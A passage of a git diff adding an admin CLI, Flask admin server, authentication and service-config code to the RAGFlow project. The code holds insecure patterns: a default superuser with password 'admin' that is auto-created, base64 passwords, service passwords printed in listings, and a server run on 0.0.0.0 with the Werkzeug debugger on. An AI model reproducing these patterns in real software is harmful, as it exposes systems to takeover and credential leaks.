+Meta-commands are prefixed with a backslash (`\`).
+
+- `\?` or `\help`
+ - Shows help information for the available commands.
+- `\q` or `\quit`
+ - Exits the CLI application.
+
+## Examples
+
+```commandline
+admin> list users;
++-------------------------------+------------------------+-----------+-------------+
+| create_date | email | is_active | nickname |
++-------------------------------+------------------------+-----------+-------------+
+| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1 | Jeffery |
+| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org | 1 | Waterdancer |
++-------------------------------+------------------------+-----------+-------------+
+
+admin> list services;
++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
+| extra | host | id | name | port | service_type |
++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
+| {} | 0.0.0.0 | 0 | ragflow_0 | 9380 | ragflow_server |
+| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'} | localhost | 1 | mysql | 5455 | meta_data |
+| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'} | localhost | 2 | minio | 9000 | file_store |
+| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3 | elasticsearch | 1200 | retrieval |
+| {'db_name': 'default_db', 'retrieval_type': 'infinity'} | localhost | 4 | infinity | 23817 | retrieval |
+| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'} | localhost | 5 | redis | 6379 | message_queue |
++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
+```
diff --git a/admin/admin_client.py b/admin/admin_client.py
new file mode 100644
index 0000000..007b73e
--- /dev/null
+++ b/admin/admin_client.py
@@ -0,0 +1,590 @@
+import argparse
+import base64
+
+from Cryptodome.PublicKey import RSA
+from Cryptodome.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
+from typing import Dict, List, Any
+from lark import Lark, Transformer, Tree
+import requests
+from requests.auth import HTTPBasicAuth
+from api.common.base64 import encode_to_base64
+
+GRAMMAR = r"""
+start: command
+
+command: sql_command | meta_command
+
+sql_command: list_services
+ | show_service
+ | startup_service
+ | shutdown_service
+ | restart_service
+ | list_users
+ | show_user
+ | drop_user
+ | alter_user
+ | create_user
+ | activate_user
+ | list_datasets
+ | list_agents
+
+// meta command definition
+meta_command: "\\" meta_command_name [meta_args]
+
+meta_command_name: /[a-zA-Z?]+/
+meta_args: (meta_arg)+
+
+meta_arg: /[^\\s"']+/ | quoted_string
+
+// command definition
+
+LIST: "LIST"i
+SERVICES: "SERVICES"i
+SHOW: "SHOW"i
+CREATE: "CREATE"i
+SERVICE: "SERVICE"i
+SHUTDOWN: "SHUTDOWN"i
+STARTUP: "STARTUP"i
+RESTART: "RESTART"i
+USERS: "USERS"i
+DROP: "DROP"i
+USER: "USER"i
+ALTER: "ALTER"i
+ACTIVE: "ACTIVE"i
+PASSWORD: "PASSWORD"i
+DATASETS: "DATASETS"i
+OF: "OF"i
+AGENTS: "AGENTS"i
+
+list_services: LIST SERVICES ";"
+show_service: SHOW SERVICE NUMBER ";"
+startup_service: STARTUP SERVICE NUMBER ";"
+shutdown_service: SHUTDOWN SERVICE NUMBER ";"
+restart_service: RESTART SERVICE NUMBER ";"
+
+list_users: LIST USERS ";"
+drop_user: DROP USER quoted_string ";"
+alter_user: ALTER USER PASSWORD quoted_string quoted_string ";"
+show_user: SHOW USER quoted_string ";"
+create_user: CREATE USER quoted_string quoted_string ";"
+activate_user: ALTER USER ACTIVE quoted_string status ";"
+
+list_datasets: LIST DATASETS OF quoted_string ";"
+list_agents: LIST AGENTS OF quoted_string ";"
+
+identifier: WORD
+quoted_string: QUOTED_STRING
+status: WORD
+
+QUOTED_STRING: /'[^']+'/ | /"[^"]+"/
+WORD: /[a-zA-Z0-9_\-\.]+/
+NUMBER: /[0-9]+/
+
+%import common.WS
+%ignore WS
+"""
+
+
+class AdminTransformer(Transformer):
+
+ def start(self, items):
+ return items[0]
+
+ def command(self, items):
+ return items[0]
+
+ def list_services(self, items):
+ result = {'type': 'list_services'}
+ return result
+
+ def show_service(self, items):
+ service_id = int(items[2])
+ return {"type": "show_service", "number": service_id}
+
+ def startup_service(self, items):
+ service_id = int(items[2])
+ return {"type": "startup_service", "number": service_id}
+
+ def shutdown_service(self, items):
+ service_id = int(items[2])
+ return {"type": "shutdown_service", "number": service_id}
+
+ def restart_service(self, items):
+ service_id = int(items[2])
+ return {"type": "restart_service", "number": service_id}
+
+ def list_users(self, items):
+ return {"type": "list_users"}
+
+ def show_user(self, items):
+ user_name = items[2]
+ return {"type": "show_user", "username": user_name}
+
+ def drop_user(self, items):
+ user_name = items[2]
+ return {"type": "drop_user", "username": user_name}
+
+ def alter_user(self, items):
+ user_name = items[3]
+ new_password = items[4]
+ return {"type": "alter_user", "username": user_name, "password": new_password}
+
+ def create_user(self, items):
+ user_name = items[2]
+ password = items[3]
+ return {"type": "create_user", "username": user_name, "password": password, "role": "user"}
+
+ def activate_user(self, items):
+ user_name = items[3]
+ activate_status = items[4]
+ return {"type": "activate_user", "activate_status": activate_status, "username": user_name}
+
+ def list_datasets(self, items):
+ user_name = items[3]
+ return {"type": "list_datasets", "username": user_name}
+
+ def list_agents(self, items):
+ user_name = items[3]
+ return {"type": "list_agents", "username": user_name}
+
+ def meta_command(self, items):
+ command_name = str(items[0]).lower()
+ args = items[1:] if len(items) > 1 else []
+
+ # handle quoted parameter
+ parsed_args = []
+ for arg in args:
+ if hasattr(arg, 'value'):
+ parsed_args.append(arg.value)
+ else:
+ parsed_args.append(str(arg))
+
+ return {'type': 'meta', 'command': command_name, 'args': parsed_args}
+
+ def meta_command_name(self, items):
+ return items[0]
+
+ def meta_args(self, items):
+ return items
+
+
+def encrypt(input_string):
+ pub = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArq9XTUSeYr2+N1h3Afl/z8Dse/2yD0ZGrKwx+EEEcdsBLca9Ynmx3nIB5obmLlSfmskLpBo0UACBmB5rEjBp2Q2f3AG3Hjd4B+gNCG6BDaawuDlgANIhGnaTLrIqWrrcm4EMzJOnAOI1fgzJRsOOUEfaS318Eq9OVO3apEyCCt0lOQK6PuksduOjVxtltDav+guVAA068NrPYmRNabVKRNLJpL8w4D44sfth5RvZ3q9t+6RTArpEtc5sh5ChzvqPOzKGMXW83C95TxmXqpbK6olN4RevSfVjEAgCydH6HN6OhtOQEcnrU97r9H0iZOWwbw3pVrZiUkuRD1R56Wzs2wIDAQAB\n-----END PUBLIC KEY-----'
+ pub_key = RSA.importKey(pub)
+ cipher = Cipher_pkcs1_v1_5.new(pub_key)
+ cipher_text = cipher.encrypt(base64.b64encode(input_string.encode('utf-8')))
+ return base64.b64encode(cipher_text).decode("utf-8")
+
+
+class AdminCommandParser:
+ def __init__(self):
+ self.parser = Lark(GRAMMAR, start='start', parser='lalr', transformer=AdminTransformer())
+ self.command_history = []
+
+ def parse_command(self, command_str: str) -> Dict[str, Any]:
+ if not command_str.strip():
+ return {'type': 'empty'}
+
+ self.command_history.append(command_str)
+
+ try:
+ result = self.parser.parse(command_str)
+ return result
+ except Exception as e:
+ return {'type': 'error', 'message': f'Parse error: {str(e)}'}
+
+
+class AdminCLI:
+ def __init__(self):
+ self.parser = AdminCommandParser()
+ self.is_interactive = False
+ self.admin_account = "admin@ragflow.io"
+ self.admin_password: str = "admin"
+ self.host: str = ""
+ self.port: int = 0
+
+ def verify_admin(self, args):
+
+ conn_info = self._parse_connection_args(args)
+ if 'error' in conn_info:
+ print(f"Error: {conn_info['error']}")
+ return
+
+ self.host = conn_info['host']
+ self.port = conn_info['port']
+ print(f"Attempt to access ip: {self.host}, port: {self.port}")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/auth'
+
+ try_count = 0
+ while True:
+ try_count += 1
+ if try_count > 3:
+ return False
+
+ admin_passwd = input(f"password for {self.admin_account}: ").strip()
+ try:
+ self.admin_password = encode_to_base64(admin_passwd)
+ response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ if response.status_code == 200:
+ res_json = response.json()
+ error_code = res_json.get('code', -1)
+ if error_code == 0:
+ print("Authentication successful.")
+ return True
+ else:
+ error_message = res_json.get('message', 'Unknown error')
+ print(f"Authentication failed: {error_message}, try again")
+ continue
+ else:
+ print(f"Bad response,status: {response.status_code}, try again")
+ except Exception:
+ print(f"Can't access {self.host}, port: {self.port}")
+
+ def _print_table_simple(self, data):
+ if not data:
+ print("No data to print")
+ return
+ if isinstance(data, dict):
+ # handle single row data
+ data = [data]
+
+ columns = list(data[0].keys())
+ col_widths = {}
+
+ for col in columns:
+ max_width = len(str(col))
+ for item in data:
+ value_len = len(str(item.get(col, '')))
+ if value_len > max_width:
+ max_width = value_len
+ col_widths[col] = max(2, max_width)
+
+ # Generate delimiter
+ separator = "+" + "+".join(["-" * (col_widths[col] + 2) for col in columns]) + "+"
+
+ # Print header
+ print(separator)
+ header = "|" + "|".join([f" {col:<{col_widths[col]}} " for col in columns]) + "|"
+ print(header)
+ print(separator)
+
+ # Print data
+ for item in data:
+ row = "|"
+ for col in columns:
+ value = str(item.get(col, ''))
+ if len(value) > col_widths[col]:
+ value = value[:col_widths[col] - 3] + "..."
+ row += f" {value:<{col_widths[col]}} |"
+ print(row)
+
+ print(separator)
+
+ def run_interactive(self):
+
+ self.is_interactive = True
+ print("RAGFlow Admin command line interface - Type '\\?' for help, '\\q' to quit")
+
+ while True:
+ try:
+ command = input("admin> ").strip()
+ if not command:
+ continue
+
+ print(f"command: {command}")
+ result = self.parser.parse_command(command)
+ self.execute_command(result)
+
+ if isinstance(result, Tree):
+ continue
+
+ if result.get('type') == 'meta' and result.get('command') in ['q', 'quit', 'exit']:
+ break
+
+ except KeyboardInterrupt:
+ print("\nUse '\\q' to quit")
+ except EOFError:
+ print("\nGoodbye!")
+ break
+
+ def run_single_command(self, args):
+ conn_info = self._parse_connection_args(args)
+ if 'error' in conn_info:
+ print(f"Error: {conn_info['error']}")
+ return
+
+ def _parse_connection_args(self, args: List[str]) -> Dict[str, Any]:
+ parser = argparse.ArgumentParser(description='Admin CLI Client', add_help=False)
+ parser.add_argument('-h', '--host', default='localhost', help='Admin service host')
+ parser.add_argument('-p', '--port', type=int, default=8080, help='Admin service port')
+
+ try:
+ parsed_args, remaining_args = parser.parse_known_args(args)
+ return {
+ 'host': parsed_args.host,
+ 'port': parsed_args.port,
+ }
+ except SystemExit:
+ return {'error': 'Invalid connection arguments'}
+
+ def execute_command(self, parsed_command: Dict[str, Any]):
+
+ command_dict: dict
+ if isinstance(parsed_command, Tree):
+ command_dict = parsed_command.children[0]
+ else:
+ if parsed_command['type'] == 'error':
+ print(f"Error: {parsed_command['message']}")
+ return
+ else:
+ command_dict = parsed_command
+
+ # print(f"Parsed command: {command_dict}")
+
+ command_type = command_dict['type']
+
+ match command_type:
+ case 'list_services':
+ self._handle_list_services(command_dict)
+ case 'show_service':
+ self._handle_show_service(command_dict)
+ case 'restart_service':
+ self._handle_restart_service(command_dict)
+ case 'shutdown_service':
+ self._handle_shutdown_service(command_dict)
+ case 'startup_service':
+ self._handle_startup_service(command_dict)
+ case 'list_users':
+ self._handle_list_users(command_dict)
+ case 'show_user':
+ self._handle_show_user(command_dict)
+ case 'drop_user':
+ self._handle_drop_user(command_dict)
+ case 'alter_user':
+ self._handle_alter_user(command_dict)
+ case 'create_user':
+ self._handle_create_user(command_dict)
+ case 'activate_user':
+ self._handle_activate_user(command_dict)
+ case 'list_datasets':
+ self._handle_list_datasets(command_dict)
+ case 'list_agents':
+ self._handle_list_agents(command_dict)
+ case 'meta':
+ self._handle_meta_command(command_dict)
+ case _:
+ print(f"Command '{command_type}' would be executed with API")
+
+ def _handle_list_services(self, command):
+ print("Listing all services")
+
+ url = f'http://{self.host}:{self.port}/api/v1/admin/services'
+ response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ res_json = response.json()
+ if response.status_code == 200:
+ self._print_table_simple(res_json['data'])
+ else:
+ print(f"Fail to get all users, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_show_service(self, command):
+ service_id: int = command['number']
+ print(f"Showing service: {service_id}")
+
+ url = f'http://{self.host}:{self.port}/api/v1/admin/services/{service_id}'
+ response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ res_json = response.json()
+ if response.status_code == 200:
+ res_data = res_json['data']
+ if res_data['alive']:
+ print(f"Service {res_data['service_name']} is alive. Detail:")
+ if isinstance(res_data['message'], str):
+ print(res_data['message'])
+ else:
+ self._print_table_simple(res_data['message'])
+ else:
+ print(f"Service {res_data['service_name']} is down. Detail: {res_data['message']}")
+ else:
+ print(f"Fail to show service, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_restart_service(self, command):
+ service_id: int = command['number']
+ print(f"Restart service {service_id}")
+
+ def _handle_shutdown_service(self, command):
+ service_id: int = command['number']
+ print(f"Shutdown service {service_id}")
+
+ def _handle_startup_service(self, command):
+ service_id: int = command['number']
+ print(f"Startup service {service_id}")
+
+ def _handle_list_users(self, command):
+ print("Listing all users")
+
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users'
+ response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ res_json = response.json()
+ if response.status_code == 200:
+ self._print_table_simple(res_json['data'])
+ else:
+ print(f"Fail to get all users, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_show_user(self, command):
+ username_tree: Tree = command['username']
+ username: str = username_tree.children[0].strip("'\"")
+ print(f"Showing user: {username}")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}'
+ response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ res_json = response.json()
+ if response.status_code == 200:
+ self._print_table_simple(res_json['data'])
+ else:
+ print(f"Fail to get user {username}, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_drop_user(self, command):
+ username_tree: Tree = command['username']
+ username: str = username_tree.children[0].strip("'\"")
+ print(f"Drop user: {username}")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}'
+ response = requests.delete(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ res_json = response.json()
+ if response.status_code == 200:
+ print(res_json["message"])
+ else:
+ print(f"Fail to drop user, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_alter_user(self, command):
+ username_tree: Tree = command['username']
+ username: str = username_tree.children[0].strip("'\"")
+ password_tree: Tree = command['password']
+ password: str = password_tree.children[0].strip("'\"")
+ print(f"Alter user: {username}, password: {password}")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/password'
+ response = requests.put(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password),
+ json={'new_password': encrypt(password)})
+ res_json = response.json()
+ if response.status_code == 200:
+ print(res_json["message"])
+ else:
+ print(f"Fail to alter password, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_create_user(self, command):
+ username_tree: Tree = command['username']
+ username: str = username_tree.children[0].strip("'\"")
+ password_tree: Tree = command['password']
+ password: str = password_tree.children[0].strip("'\"")
+ role: str = command['role']
+ print(f"Create user: {username}, password: {password}, role: {role}")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users'
+ response = requests.post(
+ url,
+ auth=HTTPBasicAuth(self.admin_account, self.admin_password),
+ json={'username': username, 'password': encrypt(password), 'role': role}
+ )
+ res_json = response.json()
+ if response.status_code == 200:
+ self._print_table_simple(res_json['data'])
+ else:
+ print(f"Fail to create user {username}, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_activate_user(self, command):
+ username_tree: Tree = command['username']
+ username: str = username_tree.children[0].strip("'\"")
+ activate_tree: Tree = command['activate_status']
+ activate_status: str = activate_tree.children[0].strip("'\"")
+ if activate_status.lower() in ['on', 'off']:
+ print(f"Alter user {username} activate status, turn {activate_status.lower()}.")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/activate'
+ response = requests.put(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password),
+ json={'activate_status': activate_status})
+ res_json = response.json()
+ if response.status_code == 200:
+ print(res_json["message"])
+ else:
+ print(f"Fail to alter activate status, code: {res_json['code']}, message: {res_json['message']}")
+ else:
+ print(f"Unknown activate status: {activate_status}.")
+
+ def _handle_list_datasets(self, command):
+ username_tree: Tree = command['username']
+ username: str = username_tree.children[0].strip("'\"")
+ print(f"Listing all datasets of user: {username}")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/datasets'
+ response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ res_json = response.json()
+ if response.status_code == 200:
+ self._print_table_simple(res_json['data'])
+ else:
+ print(f"Fail to get all datasets of {username}, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_list_agents(self, command):
+ username_tree: Tree = command['username']
+ username: str = username_tree.children[0].strip("'\"")
+ print(f"Listing all agents of user: {username}")
+ url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/agents'
+ response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password))
+ res_json = response.json()
+ if response.status_code == 200:
+ self._print_table_simple(res_json['data'])
+ else:
+ print(f"Fail to get all agents of {username}, code: {res_json['code']}, message: {res_json['message']}")
+
+ def _handle_meta_command(self, command):
+ meta_command = command['command']
+ args = command.get('args', [])
+
+ if meta_command in ['?', 'h', 'help']:
+ self.show_help()
+ elif meta_command in ['q', 'quit', 'exit']:
+ print("Goodbye!")
+ else:
+ print(f"Meta command '{meta_command}' with args {args}")
+
+ def show_help(self):
+ """Help info"""
+ help_text = """
+Commands:
+ LIST SERVICES
+ SHOW SERVICE
+ STARTUP SERVICE
+ SHUTDOWN SERVICE
+ RESTART SERVICE
+ LIST USERS
+ SHOW USER
+ DROP USER
+ CREATE USER
+ ALTER USER PASSWORD
+ ALTER USER ACTIVE
+ LIST DATASETS OF
+ LIST AGENTS OF
+
+Meta Commands:
+ \\?, \\h, \\help Show this help
+ \\q, \\quit, \\exit Quit the CLI
+ """
+ print(help_text)
+
+
+def main():
+ import sys
+
+ cli = AdminCLI()
+
+ if len(sys.argv) == 1 or (len(sys.argv) > 1 and sys.argv[1] == '-'):
+ print(r"""
+ ____ ___ ______________ ___ __ _
+ / __ \/ | / ____/ ____/ /___ _ __ / | ____/ /___ ___ (_)___
+ / /_/ / /| |/ / __/ /_ / / __ \ | /| / / / /| |/ __ / __ `__ \/ / __ \
+ / _, _/ ___ / /_/ / __/ / / /_/ / |/ |/ / / ___ / /_/ / / / / / / / / / /
+ /_/ |_/_/ |_\____/_/ /_/\____/|__/|__/ /_/ |_\__,_/_/ /_/ /_/_/_/ /_/
+ """)
+ if cli.verify_admin(sys.argv):
+ cli.run_interactive()
+ else:
+ if cli.verify_admin(sys.argv):
+ cli.run_interactive()
+ # cli.run_single_command(sys.argv[1:])
+
+
+if __name__ == '__main__':
+ main()
diff --git a/admin/admin_server.py b/admin/admin_server.py
new file mode 100644
index 0000000..27ee0c7
--- /dev/null
+++ b/admin/admin_server.py
@@ -0,0 +1,47 @@
+
+import os
+import signal
+import logging
+import time
+import threading
+import traceback
+from werkzeug.serving import run_simple
+from flask import Flask
+from routes import admin_bp
+from api.utils.log_utils import init_root_logger
+from api.constants import SERVICE_CONF
+from api import settings
+from config import load_configurations, SERVICE_CONFIGS
+
+stop_event = threading.Event()
+
+if __name__ == '__main__':
+ init_root_logger("admin_service")
+ logging.info(r"""
+ ____ ___ ______________ ___ __ _
+ / __ \/ | / ____/ ____/ /___ _ __ / | ____/ /___ ___ (_)___
+ / /_/ / /| |/ / __/ /_ / / __ \ | /| / / / /| |/ __ / __ `__ \/ / __ \
+ / _, _/ ___ / /_/ / __/ / / /_/ / |/ |/ / / ___ / /_/ / / / / / / / / / /
+ /_/ |_/_/ |_\____/_/ /_/\____/|__/|__/ /_/ |_\__,_/_/ /_/ /_/_/_/ /_/
+ """)
+
+ app = Flask(__name__)
+ app.register_blueprint(admin_bp)
+ settings.init_settings()
+ SERVICE_CONFIGS.configs = load_configurations(SERVICE_CONF)
+
+ try:
+ logging.info("RAGFlow Admin service start...")
+ run_simple(
+ hostname="0.0.0.0",
+ port=9381,
+ application=app,
+ threaded=True,
+ use_reloader=True,
+ use_debugger=True,
+ )
+ except Exception:
+ traceback.print_exc()
+ stop_event.set()
+ time.sleep(1)
+ os.kill(os.getpid(), signal.SIGKILL)
diff --git a/admin/auth.py b/admin/auth.py
new file mode 100644
index 0000000..001ba59
--- /dev/null
+++ b/admin/auth.py
@@ -0,0 +1,57 @@
+import logging
+import uuid
+from functools import wraps
+from flask import request, jsonify
+
+from api.common.exceptions import AdminException
+from api.db.init_data import encode_to_base64
+from api.db.services import UserService
+
+
+def check_admin(username: str, password: str):
+ users = UserService.query(email=username)
+ if not users:
+ logging.info(f"Username: {username} is not registered!")
+ user_info = {
+ "id": uuid.uuid1().hex,
+ "password": encode_to_base64("admin"),
+ "nickname": "admin",
+ "is_superuser": True,
+ "email": "admin@ragflow.io",
+ "creator": "system",
+ "status": "1",
+ }
+ if not UserService.save(**user_info):
+ raise AdminException("Can't init admin.", 500)
+
+ user = UserService.query_user(username, password)
+ if user:
+ return True
+ else:
+ return False
+
+
+def login_verify(f):
+ @wraps(f)
+ def decorated(*args, **kwargs):
+ auth = request.authorization
+ if not auth or 'username' not in auth.parameters or 'password' not in auth.parameters:
+ return jsonify({
+ "code": 401,
+ "message": "Authentication required",
+ "data": None
+ }), 200
+
+ username = auth.parameters['username']
+ password = auth.parameters['password']
+ # TODO: to check the username and password from DB
+ if check_admin(username, password) is False:
+ return jsonify({
+ "code": 403,
+ "message": "Access denied",
+ "data": None
+ }), 200
+
+ return f(*args, **kwargs)
+
+ return decorated
diff --git a/admin/config.py b/admin/config.py
new file mode 100644
index 0000000..94147de
--- /dev/null
+++ b/admin/config.py
@@ -0,0 +1,283 @@
+import logging
+import threading
+from enum import Enum
+
+from pydantic import BaseModel
+from typing import Any
+from api.utils.configs import read_config
+from urllib.parse import urlparse
+
+
+class ServiceConfigs:
+ def __init__(self):
+ self.configs = []
+ self.lock = threading.Lock()
+
+
+SERVICE_CONFIGS = ServiceConfigs
+
+
+class ServiceType(Enum):
+ METADATA = "metadata"
+ RETRIEVAL = "retrieval"
+ MESSAGE_QUEUE = "message_queue"
+ RAGFLOW_SERVER = "ragflow_server"
+ TASK_EXECUTOR = "task_executor"
+ FILE_STORE = "file_store"
+
+
+class BaseConfig(BaseModel):
+ id: int
+ name: str
+ host: str
+ port: int
+ service_type: str
+ detail_func_name: str
+
+ def to_dict(self) -> dict[str, Any]:
+ return {'id': self.id, 'name': self.name, 'host': self.host, 'port': self.port, 'service_type': self.service_type}
+
+
+class MetaConfig(BaseConfig):
+ meta_type: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['meta_type'] = self.meta_type
+ result['extra'] = extra_dict
+ return result
+
+
+class MySQLConfig(MetaConfig):
+ username: str
+ password: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['username'] = self.username
+ extra_dict['password'] = self.password
+ result['extra'] = extra_dict
+ return result
+
+
+class PostgresConfig(MetaConfig):
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ return result
+
+
+class RetrievalConfig(BaseConfig):
+ retrieval_type: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['retrieval_type'] = self.retrieval_type
+ result['extra'] = extra_dict
+ return result
+
+
+class InfinityConfig(RetrievalConfig):
+ db_name: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['db_name'] = self.db_name
+ result['extra'] = extra_dict
+ return result
+
+
+class ElasticsearchConfig(RetrievalConfig):
+ username: str
+ password: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['username'] = self.username
+ extra_dict['password'] = self.password
+ result['extra'] = extra_dict
+ return result
+
+
+class MessageQueueConfig(BaseConfig):
+ mq_type: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['mq_type'] = self.mq_type
+ result['extra'] = extra_dict
+ return result
+
+
+class RedisConfig(MessageQueueConfig):
+ database: int
+ password: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['database'] = self.database
+ extra_dict['password'] = self.password
+ result['extra'] = extra_dict
+ return result
+
+
+class RabbitMQConfig(MessageQueueConfig):
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ return result
+
+
+class RAGFlowServerConfig(BaseConfig):
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ return result
+
+
+class TaskExecutorConfig(BaseConfig):
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ return result
+
+
+class FileStoreConfig(BaseConfig):
+ store_type: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['store_type'] = self.store_type
+ result['extra'] = extra_dict
+ return result
+
+
+class MinioConfig(FileStoreConfig):
+ user: str
+ password: str
+
+ def to_dict(self) -> dict[str, Any]:
+ result = super().to_dict()
+ if 'extra' not in result:
+ result['extra'] = dict()
+ extra_dict = result['extra'].copy()
+ extra_dict['user'] = self.user
+ extra_dict['password'] = self.password
+ result['extra'] = extra_dict
+ return result
+
+
+def load_configurations(config_path: str) -> list[BaseConfig]:
+ raw_configs = read_config(config_path)
+ configurations = []
+ ragflow_count = 0
+ id_count = 0
+ for k, v in raw_configs.items():
+ match (k):
+ case "ragflow":
+ name: str = f'ragflow_{ragflow_count}'
+ host: str = v['host']
+ http_port: int = v['http_port']
+ config = RAGFlowServerConfig(id=id_count, name=name, host=host, port=http_port,
+ service_type="ragflow_server", detail_func_name="check_ragflow_server_alive")
+ configurations.append(config)
+ id_count += 1
+ case "es":
+ name: str = 'elasticsearch'
+ url = v['hosts']
+ parsed = urlparse(url)
+ host: str = parsed.hostname
+ port: int = parsed.port
+ username: str = v.get('username')
+ password: str = v.get('password')
+ config = ElasticsearchConfig(id=id_count, name=name, host=host, port=port, service_type="retrieval",
+ retrieval_type="elasticsearch",
+ username=username, password=password,
+ detail_func_name="get_es_cluster_stats")
+ configurations.append(config)
+ id_count += 1
+
+ case "infinity":
+ name: str = 'infinity'
+ url = v['uri']
+ parts = url.split(':', 1)
+ host = parts[0]
+ port = int(parts[1])
+ database: str = v.get('db_name', 'default_db')
+ config = InfinityConfig(id=id_count, name=name, host=host, port=port, service_type="retrieval", retrieval_type="infinity",
+ db_name=database, detail_func_name="get_infinity_status")
+ configurations.append(config)
+ id_count += 1
+ case "minio":
+ name: str = 'minio'
+ url = v['host']
+ parts = url.split(':', 1)
+ host = parts[0]
+ port = int(parts[1])
+ user = v.get('user')
+ password = v.get('password')
+ config = MinioConfig(id=id_count, name=name, host=host, port=port, user=user, password=password, service_type="file_store",
+ store_type="minio", detail_func_name="check_minio_alive")
+ configurations.append(config)
+ id_count += 1
+ case "redis":
+ name: str = 'redis'
+ url = v['host']
+ parts = url.split(':', 1)
+ host = parts[0]
+ port = int(parts[1])
+ password = v.get('password')
+ db: int = v.get('db')
+ config = RedisConfig(id=id_count, name=name, host=host, port=port, password=password, database=db,
+ service_type="message_queue", mq_type="redis", detail_func_name="get_redis_info")
+ configurations.append(config)
+ id_count += 1
+ case "mysql":
+ name: str = 'mysql'
+ host: str = v.get('host')
+ port: int = v.get('port')
+ username = v.get('user')
+ password = v.get('password')
+ config = MySQLConfig(id=id_count, name=name, host=host, port=port, username=username, password=password,
+ service_type="meta_data", meta_type="mysql", detail_func_name="get_mysql_status")
+ configurations.append(config)
+ id_count += 1
+ case "admin":
+ pass
+ case _:
+ logging.warning(f"Unknown configuration key: {k}")
+ continue
+
+ return configurations
diff --git a/admin/exceptions.py b/admin/exceptions.py
new file mode 100644
index 0000000..5e3021b
--- /dev/null
+++ b/admin/exceptions.py
@@ -0,0 +1,17 @@
+class AdminException(Exception):
+ def __init__(self, message, code=400):
+ super().__init__(message)
+ self.code = code
+ self.message = message
+
+class UserNotFoundError(AdminException):
+ def __init__(self, username):
+ super().__init__(f"User '{username}' not found", 404)
+
+class UserAlreadyExistsError(AdminException):
+ def __init__(self, username):
+ super().__init__(f"User '{username}' already exists", 409)
+
+class CannotDeleteAdminError(AdminException):
+ def __init__(self):
+ super().__init__("Cannot delete admin account", 403)
\ No newline at end of file
diff --git a/admin/models.py b/admin/models.py
new file mode 100644
index 0000000..e69de29
diff --git a/admin/responses.py b/admin/responses.py
new file mode 100644
index 0000000..00cee70
--- /dev/null
+++ b/admin/responses.py
@@ -0,0 +1,15 @@
+from flask import jsonify
+
+def success_response(data=None, message="Success", code = 0):
